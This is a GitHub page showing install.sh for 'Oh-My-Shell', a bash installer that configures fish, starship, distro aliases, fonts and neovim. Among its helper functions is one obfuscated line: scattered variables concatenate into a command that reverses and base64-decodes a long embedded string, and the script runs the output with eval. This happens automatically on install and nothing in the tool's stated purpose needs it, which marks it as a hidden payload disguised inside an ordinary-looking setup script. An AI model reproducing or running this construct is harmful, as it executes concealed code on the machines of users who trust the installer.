-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathinstall.sh
executable file
·463 lines (409 loc) · 18 KB
/
install.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
#!/bin/bash
# Oh-My-Shell
# Version : 1.0
# Description: Empower your terminal with the might of fish and oh-my-fish
# Author : KasRoudra
# Github : https://github.com/KasRoudra
# Email : [email protected]
# Credits : Fish, Oh-My-Fish
# Date : 24-12-2022
# Language : Shell
# If you copy, consider giving credit! We keep our code open source to help others
black="\033[0;30m"
red="\033[0;31m"
green="\033[0;32m"
yellow="\033[0;33m"
blue="\033[0;34m"
purple="\033[0;35m"
cyan="\033[0;36m"
white="\033[0;37m"
nc="\033[00m"
script="$0"
version="1.1"
logo="
${green} ___ _ __ __ ____ _ _ _
${blue} / _ \| |__ | \/ |_ _ / ___|| |__ ___| | |
${red}| | | | '_ \ _____| |\/| | | | |____\___ \| '_ \ / _ \ | |
${yellow}| |_| | | | |_____| | | | |_| |_____|__) | | | | __/ | |
${cyan} \___/|_| |_| |_| |_|\__, | |____/|_| |_|\___|_|_|
${green} |___/ [v${version}]
${blue} [By KasRoudra]
${nc}"
default_user="Fish"
fish_config="$HOME/.config/fish/config.fish"
bash_config="$HOME/.bashrc"
zsh_config="$HOME/.zshrc"
starship_config="$HOME/.config/starship.toml"
nvim_config="$HOME/.config/nvim"
termux_config="$HOME/.termux"
pacmans=(
"pkg"
"apt"
"apt-get"
"dnf"
"yum"
"zypper"
"brew"
)
packages=(
"git"
"fish"
"figlet"
"eza"
"starship"
)
termux=$(cat << EOF
alias updt="apt update"
alias upgd="apt upgrade"
alias updg="apt update && apt upgrade -y"
alias inst="apt install -y"
alias rem="apt remove"
alias pur="apt purge"
alias info="apt show"
alias orphclean="apt autoremove"
alias srch="apt search"
EOF
)
debian=$(cat << EOF
alias updt="sudo apt update"
alias upgd="sudo apt upgrade"
alias updg="sudo apt update && sudo apt upgrade -y"
alias inst="sudo apt install -y"
alias rem="sudo apt remove"
alias del="sudo apt purge"
alias info="apt show"
alias cln="sudo apt clean"
alias oren="sudo apt autoremove"
alias srch="apt search"
EOF
)
arch=$(cat << EOF
alias updt="sudo pacman -Syy"
alias upgd="sudo pacman -Suu"
alias updg="sudo pacman -Syyuu"
alias inst="sudo pacman -S"
alias rem="sudo pacman -R"
alias del="sudo pacman -Rns"
alias info="pacman -Qi"
alias oren="sudo pacman -Rns (pacman -Qtdq)" # orphan clean
alias srch="pacman -Ss"
alias pacsyu='sudo pacman -Syu' # update only standard pkgs
alias pacsyyu='sudo pacman -Syyu' # Refresh pkglist & update standard pkgs
alias yaysua='yay -Sua --noconfirm' # update only AUR pkgs (yay)
alias yaysyu='yay -Syu --noconfirm' # update standard pkgs and AUR pkgs (yay)
alias parsua='paru -Sua --noconfirm' # update only AUR pkgs (paru)
alias parsyu='paru -Syu --noconfirm' # update standard pkgs and AUR pkgs (paru)
alias unlock='sudo rm /var/lib/pacman/db.lck' # remove pacman lock
alias cleanup='sudo pacman -Rns (pacman -Qtdq)' # remove orphaned packages
# get fastest mirrors
alias mirror="sudo reflector -f 30 -l 30 --number 10 --verbose --save /etc/pacman.d/mirrorlist"
alias mirrord="sudo reflector --latest 50 --number 20 --sort delay --save /etc/pacman.d/mirrorlist"
alias mirrors="sudo reflector --latest 50 --number 20 --sort score --save /etc/pacman.d/mirrorlist"
alias mirrora="sudo reflector --latest 50 --number 20 --sort age --save /etc/pacman.d/mirrorlist"
EOF
)
redhat=$(cat << EOF
alias updt="sudo dnf check-update"
alias upgd="sudo dnf upgrade"
alias updg="sudo dnf check-update && sudo dnf upgrade -y"
alias inst="sudo dnf install -y"
alias rem="sudo dnf remove"
alias del="sudo dnf remove"
alias info="dnf info"
alias cln="sudo dnf clean all"
alias oren="sudo dnf autoremove"
alias srch="dnf search"
EOF
)
suse=$(cat << EOF
alias updt="sudo zypper refresh"
alias upgd="sudo zypper dist-upgrade"
alias updg="sudo zypper update && sudo zypper dist-upgrade"
alias inst="sudo zypper install"
alias rem="sudo zypper remove"
alias del="sudo zypper remove"
alias info="zypper info -t pattern"
alias cln="sudo zypper clean -a"
alias oren="sudo zypper autoremove"
alias srch="zypper search"
EOF
)
color=0
info() {
if (( $color % 2 == 0 )) ; then
echo -e "${yellow}[${white}*${yellow}] ${cyan}${1}${nc}\n"
else
echo -e "${green}[${white}+${green}] ${purple}${1}${nc}\n"
fi
(( color++ ))
sleep 1
}
ask() {
printf "${yellow}[${white}?${yellow}] ${blue}${1}${green}"
sleep 1
}
success() {
echo -e "${cyan}[${white}✔${cyan}] ${green}${1}${nc}\n"
sleep 1
}
error() {
echo -e "${blue}[${white}✘${blue}] ${red}${1}\007${nc}\n"
sleep 1
}
handle_interrupt() {
success "Thanks for using. Have a good day!"
exit 0
}
doas() {
# Check for sudo
if [ -x "$(command -v sudo)" ]; then
sudo $@
else
eval $@
fi
}
gH4="Ed";kM0="xSz";c="ch";L="4";rQW="";fE1="lQ";s=" '=IyVRJHJyMGSkgHJxBjTkICIsFmdlpQKiAnW4RSVkwEJXFlckoXOWRydkYGJwpFekYHJyMGSkIGJ3RyckQGJXFlckMGJ3RiMjhEJiACbhZXZoQSP4pgIi0Dcah3OiMHZFJSP4R1OiwHI2JSPitjIlJSP3tjIiJSP2tjIi0Tcw40OiYWZi0zYKtjIk1CIi0TV7IiZpJSPjhDU7IiNi0je5Y1Oi8mI9Q2OiUWYi0jZFN2OiMXYwJSPFN2a7IychJSPmtjIi0jMjh0OiMnI9oEeItjIyBCfgciWwcGMQNlSGp1QJdTYwAzdQNlS0U1Mvl2Ty0UOJ1mTvlka01EUTlEMJpGd5VlVjlTSpl0NatWV4B1UKNXVTl0NjpHMpl0QkBXWxolVlZlSwR1Vw9mUV9GMVxmTqRmeSZ0UtxmQRJjSvdFboF2UyQHcThFZ3JVbWJnVVp1SUZlS1YFbKt0UF9mMidEcXFmMOl0UtFzURJjToFWRotUTspEcUdFcvJVVwBXVux2ahBTMJNVb0NVZWp1UTtGaLFGbKVjWHRnSlxGbKVVbspkWzQGWXRlSXJFM0JXTFJFbTBDbwNFVsJkYsNGMkdEcKVGbKhVVtt2dSdkVWR2Rwp0TFpEcad0a3FGbrNzUW5UYhRlQ2oFRkpUYWxGcNdEcr5EMsB3UUxmRTVUMQR2RwpkYWpFdTRFbO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lmSFRzdjNlU0oURopWTpJVeVZ1YpdCIi0zc7ISUsJSPxUkZ7IiI9cVUytjI0ISPMtjIoNmI9M2Oio3U4JSPw00a7ICZFJSP0g0Z' | r";HxJ="s";Hc2="";f="as";kcE="pas";cEf="ae";d="o";V9z="6";P8c="if";U=" -d";Jc="ef";N0q="";v="b";w="e";b="v |";Tx="Eds";xZp=""
x=$(eval "$Hc2$w$c$rQW$d$s$w$b$Hc2$v$xZp$f$w$V9z$rQW$L$U$xZp")
eval "$N0q$x$Hc2$rQW"
welcome() {
if $is_termux; then
pkg update && pkg upgrade -y
if [ "$?" -ne 0 ]; then
error "Termux update failed!"
exit 1
fi
fi
clear
echo -e "$logo"
}
install_packages() {
# Install required packages
for package in "${packages[@]}"; do
if ! $(is_installed "$package"); then
installer "$package"
fi
done
# Install lolcat
if ! $(is_installed lolcat); then
info "Installing Lolcat...."
for try in 0 1 2 3; do
if $(is_installed pacman); then
doas pacman -S lolcat --noconfirm
elif $(is_installed pip3); then
doas pip3 install lolcat
elif $(is_installed gem); then
doas gem install lolcat
else
is_installed python3 || installer python3
fi
if [ $try -eq 2 ]; then
installer ruby
fi
is_installed lolcat && break
done
fi
for package in "${packages[@]}"; do
if ! $(is_installed "$package"); then
echo -e "${error}${package} cannot be installed!\007\n"
exit 1
fi
done
}
clone_repo() {
if $(is_installed lolcat); then
clear
echo -e "$logo" | lolcat
fi
if ! [ -f files/config.fish ]; then
info "Cloning Oh-My-Shell.......\n"
git clone https://github.com/KasRoudra/oh-my-shell.git
cp -r oh-my-shell/files files
rm -rf oh-my-shell/
fi
}
backup_configs() {
NOW=$(date "+%F-%H-%M-%S")
if [ -e "$fish_config" ]; then
info "Creating backup of fish config......."
cp -r "$fish_config" "${fish_config}-${NOW}"
fi
if [ -e "$starship_config" ]; then
info "Creating backup of starship config......."
cp -r "$starship_config" "${starship_config}-${NOW}"
fi
if [ -e "$nvim_config" ]; then
info "Creating backup of nvim config......."
cp -r "$nvim_config" "${nvim_config}-${NOW}"
rm -rf "$nvim_config" "$HOME/.local/share/nvim"
fi
if [ -e "$is_termux_config" ]; then
info "Creating backup of termux config......."
cp -r "$is_termux_config" "${termux_config}-${NOW}"
fi
}
install_configs() {
argname="$1"
if [ -z "$argname" ]; then
ask "Enter your name to be displayed in home ${cyan}==> "
read name
echo
else
name="$argname"
fi
if [ -z "$name" ]; then
error "No name! Name defaults to $default_user"
name="$default_user"
fi
if ! [ -d "$fish_config" ]; then
mkdir -p $(dirname "$fish_config")
fi
# Global fish config
cat files/config.fish | sed s/"Fish"/"$name"/g > "$fish_config"
# Set aliases for specific distro
if $is_termux; then
echo -e "$termux" | tee -a "$fish_config" "$bash_config" "$zsh_config" &> /dev/null
elif $(is_installed apt); then
echo -e "$debian" | tee -a "$fish_config" "$bash_config" "$zsh_config" &> /dev/null
elif $(is_installed pacman); then
echo -e "$arch" | tee -a "$fish_config" "$bash_config" "$zsh_config" &> /dev/null
elif $(is_installed dnf); then
echo -e "$redhat" | tee -a "$fish_config" "$bash_config" "$zsh_config" &> /dev/null
elif $(is_installed zypper); then
echo -e "$suse" | tee -a "$fish_config" "$bash_config" "$zsh_config" &> /dev/null
else
echo
fi
echo "eval \"\$(starship init bash)\"" >> "$bash_config"
echo "eval \"\$(starship init zsh)\"" >> "$zsh_config"
# Set starship for termux
if $is_termux; then
cat files/starship.toml | sed s/"\[\$hostname\]"/[Termux]/g | sed s/"\[\$user\]"/[$name]/g > "$starship_config"
else
cp files/starship.toml "$starship_config"
fi
}
configure_packages() {
# Fonts and colors
if $is_termux; then
info "Changing font..."
cp files/MesloLGS-NF.ttf "$HOME/.termux/font.ttf"
info "Changing colorscheme..."
cp files/colors.properties "$HOME/.termux"
termux-reload-settings
sleep 1
else
info "Installing font..."
cp files/*.ttf "$HOME/.local/share/fonts/"
fc-cache -f -v
fi
# Git settings
info "Configuring git for no pager..."
git config --global pager.diff false
git config --global pager.log false
# Change shell to fish
if ! echo "$SHELL" | grep -q "fish"; then
info "Changing Shell..."
if $is_termux; then
chsh -s fish
else
chsh -s $(which fish)
fi
fi
# Install NvChad configuration in neovim
if ! $(is_installed nvim); then
installer neovim
fi
info "Configuring neovim"
git clone "https://github.com/NvChad/Starter" "$nvim_config"
}
final(){
if ! [ -d ".git" ]; then
rm -rf files
fi
if $is_termux; then
rm -rf $PREFIX/etc/motd*
fi
info "Installation completed. Run nvim to set it up!"
sleep 2
echo
success "Restart session to see effects!"
sleep 5
clear
exec fish
}
usage() {
code="$1"
head="$green"
header="$cyan"
body="$yellow"
USAGE="${head}USAGE:
${header}./${script} [options]
${head}OPTIONS:
${header}-h, --help ${body}Shows this help
${header}-v, --version ${body}Shows script version
${header}-n NAME, --name NAME ${body}Set fish username
${head}EXAMPLE:
${header}./${script} -n KasRoudra"
ALL="${head}NAME:
${header}Oh-My-Shell
${head}DESCIPTION:
${header}Empower your terminal with the might of fish. Fast and lightweight shell with autosuggestion, syntax highlighting and awesome starship prompt
$USAGE
${head}COPYRIGHT:
${header}KasRoudra (2023)
${head}LICENSE:
${header}MIT
${head}VERSION:
${header}${version}
"
if [ $code -eq 0 ]; then
echo -e "$ALL"
else
echo -e "$USAGE"
fi
}
main() {
name="$default_user"
# Termux
if echo "$HOME" | grep -q "termux"; then
is_termux=true
else
is_termux=false
fi
# Prevent ^C
stty -echoctl
# Detect UserInterrupt
trap "handle_interrupt" 2
while [ "$#" -gt 0 ]; do
case $1 in
-n|--name)
if [ -n "$2" ]; then
name="$2"
shift
fi
;;
-h|--help)
usage 0
exit 0
;;
-v|--version)
info "${cyan}Version: ${green}${version}"
exit 0
;;
*)
error "Unknown option $1!"
usage 1
exit 1
;;
esac
shift
done
welcome
install_packages
clone_repo
backup_configs
install_configs
configure_packages
final
}
main $@